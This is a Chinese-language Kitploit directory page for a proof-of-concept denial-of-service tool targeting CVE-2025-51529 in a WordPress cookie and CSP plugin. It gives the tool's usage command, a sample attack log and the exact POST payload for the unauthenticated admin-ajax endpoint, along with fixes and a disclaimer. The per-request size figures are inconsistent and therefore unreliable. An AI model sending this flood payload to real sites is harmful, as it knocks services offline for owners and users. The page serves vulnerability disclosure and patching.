Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-51529 — jonkastonka Cookies and Content Security Policy 插件 2.29 及之前版本中的 AJAX 端点功能存在不正确的访问控制。 | Kitploit
工具/GitHubGitHub/piotrmaciejbednarski/cve-2025-51529
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubpiotrmaciejbednarski/cve-2025-51529

CVE-2025-51529

jonkastonka Cookies and Content Security Policy 插件 2.29 及之前版本中的 AJAX 端点功能存在不正确的访问控制。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
61年前尚未审核
分享

CVE-2025-51529:WordPress Cookies 与内容安全策略插件 DoS 漏洞

jonkastonka Cookies 与内容安全策略插件 2.29 及之前版本的 AJAX 端点功能中存在不正确的访问控制,远程攻击者可通过向 wp_ajax_nopriv_cacsp_insert_consent_data 端点执行无限制的数据库写入操作,导致拒绝服务(数据库服务器资源耗尽)。

该漏洞存在于 cacsp_insert_consent_data() 函数中,该函数通过 WordPress 的 AJAX 端点(wp-admin/admin-ajax.php)暴露,且无需身份验证。该插件使用了 wp_ajax_nopriv_ 操作,使其可被未认证用户访问。

攻击向量: 远程攻击者可以发送无限制的并发 POST 请求,以大量写入操作压垮数据库服务器,导致 CPU 和磁盘 I/O 耗尽。

漏洞详情

  • CVE ID:CVE-2025-51529
  • 状态:RESERVED
  • 类型:不正确的访问控制 / 拒绝服务
  • 产品:Cookies 与内容安全策略插件(2.29 及之前版本)
  • 厂商:Johan Jonk Stenstroem (jonkastonka)
  • 受影响函数:cacsp_insert_consent_data()
  • 攻击向量:远程
  • 发现者:Piotr Bednarski

环境要求

  • Python 3.x
  • requests
  • matplotlib
  • threading

使用方法

PoC 脚本的基本用法如下:

python payload.py --target <target_url> --threads <number_of_threads>

默认情况下,线程数设置为 100。您可以通过将其作为第二个参数提供来指定不同的线程数。

示例输出

DoS 攻击图表

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100): 

Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack

[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding

工作原理

该漏洞利用程序向 /wp-admin/admin-ajax.php 发送 POST 请求,请求数据如下:

data = {
    'action': 'cacsp_insert_consent_data',
    'accepted_cookies': 'necessary,experience,analytics,marketing',
    'expires': "9" * 255  # Maximum TINYTEXT length
}

每个成功的请求都会插入一条新的数据库记录,包含:

  • 时间戳(19 字节)
  • IP 地址(约 13 字节)
  • Cookie 偏好设置(可变)
  • 过期数据(最多 255 字节)
  • 站点 ID(1 字节)
  • MySQL 开销(约 22 字节)

结果: 每个请求约 89 字节 × 无限制的请求数 = 数据库快速增长

修复建议

  • 为 AJAX 调用添加 nonce 验证
  • 按 IP 实施速率限制
  • 正确验证用户输入

免责声明

本 PoC 仅供教育目的使用。作者不对因使用此代码而造成的任何滥用或损害负责。在对任何系统进行测试之前,请务必获得授权。

下载工具